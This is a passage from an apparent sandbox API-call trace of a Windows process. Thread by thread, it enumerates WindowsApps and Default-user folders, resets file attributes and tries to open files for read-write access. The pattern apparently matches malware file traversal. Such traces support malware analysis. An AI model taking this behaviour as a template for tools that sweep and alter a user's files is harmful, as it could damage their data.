	[0079.640] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.640] GetLastError () returned 0x5
	[0079.640] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebe88) returned 1

Thread:
	id = 811
	os_tid = 0x1bd8

	[0079.641] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-white.png")) returned 0x20
	[0079.641] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.641] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.641] GetLastError () returned 0x5
	[0079.641] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec338) returned 1

Thread:
	id = 812
	os_tid = 0x1bdc

	[0079.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772910
	[0079.642] wcscpy (in: _Dest=0x4772910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps"
	[0079.642] wcscat (in: _Dest=0x4772910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\"
	[0079.642] wcscat (in: _Dest=0x4772910, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\*"
	[0079.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475a240
	[0079.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\*", lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b12d9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70880
	[0079.644] wcscmp (_String1=".", _String2=".") returned 0
	[0079.644] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b12d9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.644] wcscmp (_String1="..", _String2=".") returned 1
	[0079.644] wcscmp (_String1="..", _String2="..") returned 0
	[0079.644] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bltissue.jpg", cAlternateFileName="")) returned 1
	[0079.644] wcscmp (_String1="bltissue.jpg", _String2=".") returned 1
	[0079.644] wcscmp (_String1="bltissue.jpg", _String2="..") returned 1
	[0079.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3bc00
	[0079.644] wcscpy (in: _Dest=0x2e3bc00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps"
	[0079.644] wcscat (in: _Dest=0x2e3bc00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\"
	[0079.644] wcscat (in: _Dest=0x2e3bc00, _Source="bltissue.jpg" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bltissue.jpg") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bltissue.jpg"

Thread:
	id = 813
	os_tid = 0x1be0

	[0079.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca7c0
	[0079.645] wcscpy (in: _Dest=0x47ca7c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow"
	[0079.645] wcscat (in: _Dest=0x47ca7c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\"
	[0079.645] wcscat (in: _Dest=0x47ca7c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\*"
	[0079.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475abe0
	[0079.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\*", lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d708c0
	[0079.646] wcscmp (_String1=".", _String2=".") returned 0
	[0079.646] FindNextFileW (in: hFindFile=0x2d708c0, lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.647] wcscmp (_String1="..", _String2=".") returned 1
	[0079.647] wcscmp (_String1="..", _String2="..") returned 0
	[0079.647] FindNextFileW (in: hFindFile=0x2d708c0, lpFindFileData=0x475abe0 | out: lpFindFileData=0x475abe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9764f8c5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="Density_Hard.png", cAlternateFileName="")) returned 1
	[0079.647] wcscmp (_String1="Density_Hard.png", _String2=".") returned 1
	[0079.647] wcscmp (_String1="Density_Hard.png", _String2="..") returned 1
	[0079.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3b570
	[0079.647] wcscpy (in: _Dest=0x2e3b570, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow"
	[0079.647] wcscat (in: _Dest=0x2e3b570, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\"
	[0079.647] wcscat (in: _Dest=0x2e3b570, _Source="Density_Hard.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hard.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hard.png"

Thread:
	id = 814
	os_tid = 0x1be4

	[0079.656] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabe48
	[0079.656] wcscpy (in: _Dest=0x2dabe48, _Source="C:\\Users\\Default\\Documents\\My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0079.656] wcscat (in: _Dest=0x2dabe48, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\"
	[0079.656] wcscat (in: _Dest=0x2dabe48, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*"
	[0079.656] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bf20
	[0079.656] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475bf20) returned 1
	[0079.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabe48) returned 1
	[0079.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cd730) returned 1

Thread:
	id = 815
	os_tid = 0x1be8

	[0079.659] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daef48
	[0079.659] wcscpy (in: _Dest=0x2daef48, _Source="C:\\Users\\Default\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0079.660] wcscat (in: _Dest=0x2daef48, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\"
	[0079.660] wcscat (in: _Dest=0x2daef48, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*"
	[0079.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bf20
	[0079.660] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475bf20) returned 1
	[0079.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daef48) returned 1
	[0079.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabd40) returned 1

Thread:
	id = 816
	os_tid = 0x1bec

	[0079.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabd40
	[0079.663] wcscpy (in: _Dest=0x2dabd40, _Source="C:\\Users\\Default\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0079.663] wcscat (in: _Dest=0x2dabd40, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\"
	[0079.663] wcscat (in: _Dest=0x2dabd40, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*"
	[0079.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bf20
	[0079.663] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475bf20) returned 1
	[0079.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabd40) returned 1
	[0079.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabad8) returned 1

Thread:
	id = 817
	os_tid = 0x1bf0

	[0079.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47702f8
	[0079.667] wcscpy (in: _Dest=0x47702f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe"
	[0079.668] wcscat (in: _Dest=0x47702f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\"
	[0079.668] wcscat (in: _Dest=0x47702f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\*"
	[0079.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bf20
	[0079.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1096e68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae30dca7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xae30dca7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c80
	[0079.669] wcscmp (_String1=".", _String2=".") returned 0
	[0079.669] FindNextFileW (in: hFindFile=0x2d70c80, lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1096e68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae30dca7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xae30dca7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.669] wcscmp (_String1="..", _String2=".") returned 1
	[0079.669] wcscmp (_String1="..", _String2="..") returned 0
	[0079.669] FindNextFileW (in: hFindFile=0x2d70c80, lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bd0bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10e331a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10e331a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x475, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.669] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.669] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e339e8
	[0079.669] wcscpy (in: _Dest=0x4e339e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe"
	[0079.669] wcscat (in: _Dest=0x4e339e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\"
	[0079.670] wcscat (in: _Dest=0x4e339e8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 818
	os_tid = 0x1bf4

	[0079.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47706e0
	[0079.670] wcscpy (in: _Dest=0x47706e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe"
	[0079.670] wcscat (in: _Dest=0x47706e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\"
	[0079.670] wcscat (in: _Dest=0x47706e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\*"
	[0079.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758a30
	[0079.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c813b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad7e0bf4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad7e0bf4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d710c0
	[0079.672] wcscmp (_String1=".", _String2=".") returned 0
	[0079.672] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c813b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad7e0bf4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad7e0bf4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.672] wcscmp (_String1="..", _String2=".") returned 1
	[0079.672] wcscmp (_String1="..", _String2="..") returned 0
	[0079.672] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ee399, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x12145f2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x12145f2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.672] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.672] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33ad0
	[0079.672] wcscpy (in: _Dest=0x4e33ad0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe"
	[0079.672] wcscat (in: _Dest=0x4e33ad0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\"
	[0079.672] wcscat (in: _Dest=0x4e33ad0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 819
	os_tid = 0x1bf8

	[0079.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770938
	[0079.673] wcscpy (in: _Dest=0x4770938, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe"
	[0079.673] wcscat (in: _Dest=0x4770938, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\"
